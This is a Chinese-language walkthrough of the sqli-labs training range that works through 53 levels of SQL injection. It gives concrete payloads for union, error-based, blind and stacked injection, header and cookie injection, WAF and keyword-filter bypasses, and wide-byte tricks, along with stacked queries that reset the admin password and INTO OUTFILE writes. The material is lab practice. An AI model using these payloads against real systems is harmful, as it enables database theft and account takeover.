sqlilabs靶场通关记录
sqlilabs
Less1(字符型联合注入)
测试注入点
?id=-1' and 1=1 --+
?id=-1' and 1=2 --+
发现可能存在Select语句,尝试使用联合查询
先判断数据表中的字段数
共三个字段,且只显示后两个位的数据
判断一下数据库的类型,先尝试一下Mysql数据库(虽然说靶场是我们自己搭的,当然知道是什么类型,但是在练习中进行完整的sql注入步骤,实战时才能胸有成竹)
?id=-1' union select 1,@@version,3 --+
回显了版本,说明确实是mysql数据库,这样我们就能利用mysql数据库中的information_schema
数据库来获取数据库中的数据表信息
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+
爆出数据表分别有emails
、referers
、uagents
、users
我们选其中的users
表,开始爆破字段名
为了省事,我们将所有字段名连成一个字符串,一并显示出来
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database() --+
爆出字段名分别有id
、username
、password
这里就用sqlmap来完成剩下工作了
Less2(数字型联合注入)
本关提示是数字型注入,所以不用考虑闭合前面的引号
其他的注入步骤和第一关一致
Less3(闭合括号)
初步尝试时发现闭合引号没有效果
利用转义符的报错信息得到闭合方式
?id=1\
payload如下
?id= -1') union select 1,version(),3 --+
Less4(双引号联合注入)
判断注入点闭合方式
?id= -1“) union select 1,version(),3 --+
Less5(单引号报错注入)
经过简单测试可以发现本关无回显
测试是否有报错信息
?id= 1' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+
说明可以使用报错注入
当然本题也可以使用布尔盲注和时间盲注
Less6(双引号报错注入)
首先通过报错信息判断注入点闭合
?id=1\
本关只是把第五关的单引号换成了双引号,所以payload改改就行
?id=1" and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+
Less7(导出查询结果)
本题无回显,也没有报错信息,可以尝试使用盲注
不过题目提示使用outfile,查看源码
SQL语句为$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
我们需要闭合两层括号,可以尝试使用into outfile
语法将查询内容输出到文件中
?id= -1')) union select 1,version(),3 into outfile "xxx(路径)" --+
需要注意的是这里如果是windows下的文件路径需要使用双斜杠,例如C://1//1.txt
Less8(布尔盲注)
这一关又是没有回显
试一下报错注入?id= 1' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+
没有开启报错信息,那么尝试布尔盲注
?id=1' and (length(database())>4) --+
接下来就是常规的布尔盲注流程了,例如先爆数据库名称
?id=1' and (left(database(),1)='s') --+
Less9(单引号时间盲注)
本关提示我们使用时间盲注
我们可以对比一下布尔盲注和时间盲注的黑盒和白盒发现方法
页面回显(黑盒):当题目考察布尔盲注时,SQL语句的条件正确与否会得到不同的页面回显。而时间盲注的页面回显会保持不变。
源码(白盒):
本关显然是时间盲注
尝试判断数据库长度
?id=1' and if(length(database())>4,sleep(5),sleep(1)) --+
延时时间有变化,说明数据库长度大于4,时间盲注可行
剩下的步骤就是常规的时间盲注
Less10(双引号时间盲注)
这一关仅仅是将单引号闭合换成了双引号闭合,其他内容和上一关的时间注入一致
当然我们在黑盒视角是无法知道要用什么闭合
我们可以利用时间盲注语句一个一个尝试
1 | ?id=1' and sleep(5) --+ |
通过延时时间我们可以判断闭合方式为双引号"
Less11(POST联合查询)
随便提交一下表单,发现是POST注入类型
抓包看一下有哪些POST参数
uname=admin&passwd=' or 1=1 #&Submit=Submit
找出字段数量uname=admin#&passwd=-1' order by 3#&Submit=Submit
共2个字段,剩下就是常规的联合查询步骤
Less12(POST双引号)
判断一下注入点
本题将单引号换成双引号
查看报错信息时发现外层还有一个括号,那么外层额外闭合一个括号即可
Less13(POST报错注入)
多加一些闭合符号,从报错信息中找到正确的闭合格式')
由于页面不存在回显,尝试报错注入
passwd=-1') and updatexml(1,concat(0x7e,(select version()),0x7e),1)#&Submit=Submit&uname=admin
Less14(POST报错注入+双引号闭合)
本关除了闭合方式和上一关不同,payload基本一致
passwd=-1" and updatexml(1,concat(0x7e,(select version()),0x7e),1)#&Submit=Submit&uname=admin
Less15(POST布尔盲注)
由于无报错回显,尝试使用布尔盲注
passwd=-1' or (length(database())>4) --+&Submit=Submit&uname=admin
passwd=-1' or (length(database())<4) --+&Submit=Submit&uname=admin
Less16(POST时间盲注)
首先使用时间盲注去猜布尔盲注
1 | uname=admin' and sleep(5)#&passwd=admin&Submit=Submit |
闭合方式为")
passwd=admin") and if(length(database())>4,sleep(5),sleep(1)) #&Submit=Submit&uname=admin
Less17(update注入)
本关的页面功能为更新账户的密码,所以猜测原SQL语句为UPDATE users SET password = 参数1 WHERE username=参数2
由于是Update型注入,考虑使用报错注入
首先测试注入点username和password
1 | passwd=1/&Submit=Submit&uname=1 |
页面并没有报错,猜测验证username和修改密码被拆为两个步骤,那么我们可以输入一个存在的用户名
本关使用单引号闭合
passwd=1' and updatexml(1,concat(0x7e,version(),0x7e),1)#&Submit=Submit&uname=admin
Less18(header注入user-agent)
本关显示了User Agent ,即请求头中User-Agent 字段,很显然是header注入
用'database()
判断注入点
可以发现passwd参数后还跟了IP以及
由于存在报错信息,使用报错注入
由于user-agent参数前已经有了一个单引号,所以报错不能构造在一开始,不然会被当作字符串,放在括号里的第二位或者第三位都可
需要注意的是最后还有个括号要闭合
1',1,updatexml(1,concat(0x7e,(select version()),0x7e),1))#
或者1',updatexml(1,concat(0x7e,(select version()),0x7e),1),1)#
Less19(header注入referer)
本题将注入点换到了referer字段
使用'version()
来测试注入点
',updatexml(1,concat(0x7e,(select version()),0x7e),1))#
Less20(Cookie注入)
这一关并没有对用户名和密码做判断
当我们登录后,会进入一个满是信息的页面
此时抓包会发现Cookie中多了一项uname=admin
测试一下注入点
admin' and updatexml(1,concat(0x7e,(select version()),0x7e),1)#
当然由于是查询语句,本题也可以使用联合注入
Less21(Cookie注入+base64编码)
本题中的cookie内容被混淆为编码,猜测是base64编码
用在线工具验证一下想法
将1\
转为base64编码MVw=
注入,判断一下闭合类型
上一关的payload还需要闭合一层括号
admin') and updatexml(1,concat(0x7e,(select version()),0x7e),1)#
将上一关的payload进行base64编码
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB2ZXJzaW9uKCkpLDB4N2UpLDEpIw==
Less22(Cookie注入+base64编码2)
本关需要闭合双引号
所以payload变为
admin" and updatexml(1,concat(0x7e,(select version()),0x7e),1)#
base编码为YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHZlcnNpb24oKSksMHg3ZSksMSkj
Less23(过滤注释)
测试?id=-1' or 1=1 --+
时报错,说明对注释做了过滤
?id=-1' or 1=1 #
也不行
尝试直接闭合后面的引号
?id=-1' or '1'='1
闭合成功,不过此时使用联合注入时不能再使用order by
来判断字段数
直接一个一个select
1 | ?id=-1' union select 1 and '1'='1 |
存在三个字段
剩下就是常规的联合注入步骤
Less24(二次注入)
题目提示二次注入,我们来审计一下源码
程序对登录界面的账户和密码参数使用了mysql_real_escape_string
函数进行了转义
创建新用户的功能中上传的参数也被转义
而修改密码的功能中,后端仅仅是从数据库中读入了当前用户的用户名,并没用对其进行转义
所以我们的思路如下:
在创建用户界面,将注入语句
admin' #
插入到用户名的框中修改密码,在新密码处填入我们希望管理员账户改为的新密码
用户名被数据库不加转义地读入,此时sql语句变为
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin '#' and password='$curr_pass' ";
这里注释符将后面内容注释掉了,即没有对当前密码进行校验,相当于直接修改了admin账号的密码
使用我们设置的管理员密码登录管理员账户
创建账号
登录新账号
修改密码为123456
成功登录admin账户
Less25(过滤and和or)
本关提示过滤掉了and和or关键字,同时也给出了hint,让我们知道id参数过滤后是什么样子
关键字过滤可以使用双写法来绕过,and
替换为aandnd
同样,order by
可以替换为oorrder by
此时判断字段数的语句变为?id=1' oorrder by 4 %23
Less25a(过滤and和or-数字型)
本关数字型注入,绕过方法与上一关一致
Less26(过滤空格和注释)
本关将注释符都过滤了,我们尝试直接闭合原sql语句后面的引号
?id=1' aandnd '1'='2
源码中的过滤部分如下
1 | function blacklist($id) |
可以看到空格这一类的字符都被过滤了
尝试用url编码绕过,测试%09
到%0d
这几个制表符、换行符、换页符
经过测试,垂直制表符%0b
可用
?id=' union%0bselect%0b1,database(),3||'1'='1
当然,本体也可以使用报错注入,因为报错注入的payload不需要考虑绕过空格的问题
Less26a(过滤空格和注释+判断闭合)
当特殊符号\
被过滤之后,我们该如何判断闭合类型呢
答案是只能一个个试
首先使用?id=1''
,发现有回显,说明是单引号闭合
使用?id=1')||('
测试是否有括号闭合,有回显,说明单引号外还有一层括号
除了payload的闭合方式不同,其它内容和上一关一致
Less27(过滤Union和Select)
本关我们尝试一直新的判断闭合的方法,即通过表达式来判断
?id=2'%26%26 '1'='1
此时回显id=2的用户信息,说明原SQL语句无括号闭合
本关提示Union
和Select
关键字被过滤
查看源码,发现过滤时区分了大小写,正则表达式并没有使用修饰符i
那么我们可以通过大小写绕过
?id='uNion%0bsElect%0b1,database(),3||'1'='1
Less27a(过滤Union和Select+判断闭合)
先使用?id=2'%26%26 '1'='1
和?id=2"%26%26 "1"="1
来判断单双引号及括号
本关无括号闭合,使用?id=1'
和?id=1"
来进一步判断单双引号
使用的是双引号
?id="uNion%0bsElect%0b1,database(),3||"1"="1
Less28(过滤Union\sSelect,区分大小写)
观察源码
1 | function blacklist($id) |
本关过滤了union \s select
这种匹配串,但是仍然可以使用url编码绕过
?id=') union%0bselect%0b1,database(),3;%00
Less28a
本关的过滤内容甚至比上一关还少
Less29(WAF过滤)
我们需要理解一下本关涉及的WAF的原理
服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。
如果payload为index.php?id=1&id=2
,那么apache(php)解析最后一个参数,即显示 id=2 的内容。Tomcat(jsp)解析第一个参数,即显示 id=1 的内容。
由于并没有部署真正的tomcat服务器,本关在php代码中模拟量tomcat处理并拦截参数的过程
1 | function java_implimentation($query_string) |
java_implimentation
函数仅拦截第一个id参数并判断其是否合法
1 | function whitelist($input) |
如果该参数不是纯数字,则会跳转到hacked.php
所以绕过本关WAF的方法即第一个id使用合法的纯数字,将payload放在最后一个id参数
?id=1&id=-1'union select 1,database(),3%23
Less30(WAF过滤+双引号)
本关将单引号换成了双引号
?id=1&id=-1"union select 1,database(),3%23
Less31(WAF过滤+双引号括号)
本关的闭合换成了")
?id=1&id=-1")union select 1,database(),3%23
Less32(宽字节注入 preg_quote)
查看源码
1 | function check_addslashes($string) |
这段代码分别转移了反斜杠\
、单引号'
和双引号"
经典的宽字节注入,在引号前插入%df
?id=-1%df' union select 1,database(),3 %23
Less33(宽字节注入 addslashes)
1 | function check_addslashes($string) |
本关换成了addslashes函数,payload与上一关一致
Less34(宽字节注入 addslashes POST传参)
本关为POST注入形式的宽字节注入
Less35(宽字节注入 数字型)
数字型注入下,转义字符形式的过滤失去作用,因为我们不需要考虑闭合
Less36(宽字节注入 mysql_real_escape_string)
payload与Less33关一致
Less37(宽字节注入 mysql_real_escape_string POST传参)
与Less34关类似
Less38(堆叠注入)
尝试使用堆叠注入向表中添加一个用户的信息
1 | ?id=1';insert into users(id,username,password) values ('66','R1ck','123456')--+ |
查询插入的数据,可以发现插入成功
Less39(堆叠注入-数字型)
本题是数字型,所以去掉上一关payload的引号即可
Less40(堆叠注入-判断闭合)
本关关闭了报错,所以我们仍然是使用表达式的方法判断闭合
?id=2' and '1'='1
及?id=2" and "1"="1
单引号回显id为1,双引号回显id为2,说明是')
闭合
payload为?id=1');insert into users(id,username,password) values ('66','R1ck','123456')--+
Less41(堆叠注入-数字型无报错)
使用上一关判断闭合方法,发现两种payload都没有回显
说明本关可能是数字型注入
Less42(堆叠注入-POST传参)
在密码框使用堆叠注入,修改管理员账户的密码
1';update users set password='R1ck' where username='admin'#
使用更改后的密码登录管理员账户
Less43(堆叠注入-POST传参+括号闭合)
本关多了括号闭合
1');update users set password='R1ck' where username='admin'#
Less-44(堆叠注入-POST传参+关闭报错)
同less-42关,只是关闭了报错
Less-45
同less-43关,只是关闭了报错
Less46(Order by)
首先测试一下本关卡的网页
随着sort
参数的改变,网页回显列表的排序发生变化
猜测原SQL语句可能是select * from user order by $sort
为了验证猜测,我们可以在后面加上desc/asc
参数,观察升序降序是否变化
加上desc后成功变为降序
由于此处数据返回的形式是表格,因此我们不能直接利用数据回显的位置进行联合注入
尝试使用报错注入
?sort=1 AND updatexml(1,concat(0x7e,database(),0x7e),1)%23
Less47(Order by+单引号)
本关测试不同数字发现回显相同,说明可能是字符型
尝试将刚刚的payload后加上单引号
?sort=1' AND updatexml(1,concat(0x7e,database(),0x7e),1)%23
Less48(Order by布尔盲注)
使用46关的payload,发现没有任何报错,说明本关关闭了报错信息
可以使用布尔盲注
由于rand(0)
和rand(1)
返回的内容不同,我们可以将判断语句放在rand中,这样布尔值不同,回显的结果也不同
Less49(Order by布尔盲注+单引号)
由于orderby关键字后面跟了引号,所以我们无法再使用rand()
函数来布尔盲注
考虑使用时间盲注,由于查询的条数比较多,所以延时时间最好设短一些
1' and if((length(database())>4),sleep(0.1),1) --+
Less50(Order by堆叠注入)
和常规的堆叠注入方法一致
Less51(Order by堆叠注入+单引号)
同47关,不过可以使用堆叠注入
Less52(Order by堆叠注入+关闭报错)
同50关,关闭了报错信息
Less53(Order by堆叠注入+单引号关闭报错)
同51关,关闭了报错信息